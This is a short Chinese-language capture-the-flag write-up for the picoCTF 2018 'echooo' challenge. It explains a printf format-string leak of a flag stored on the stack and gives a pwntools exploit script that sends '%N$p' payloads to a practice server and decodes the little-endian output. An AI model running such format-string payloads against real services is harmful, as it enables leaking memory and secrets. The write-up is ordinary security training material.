picoctf_2018_echooo(小端序的显示)
例行检查我就不放了,将程序放入ida中
逻辑比较简单,就是将flag放入了栈中,然后通过下面printf去显示flag
offset=11+((0x8c-0x4c)/4)
因为栈是小端序储存,高字节在下方,所以需要转换一下
exp如下
from pwn import*
#r=process('./PicoCTF_2018_echooo')
r=remote('node4.buuoj.cn',28181)
offest=11+(0x8c-0x4c)/4
print (offest)
flag=''
for i in range(11):
payload='%'+str(i+27)+'$p'
r.sendline(payload)
r.recvuntil('> 0x')
num4=int((r.recvuntil('\n')[:-1]),16)
a=(num4&0xff000000)>>24
b=(num4&0x00ff0000)>>16
c=(num4&0x0000ff00)>>8
d=num4&0x000000ff
flag+=chr(d)+chr(c)+chr(b)+chr(a)
print (flag)
r.interactive()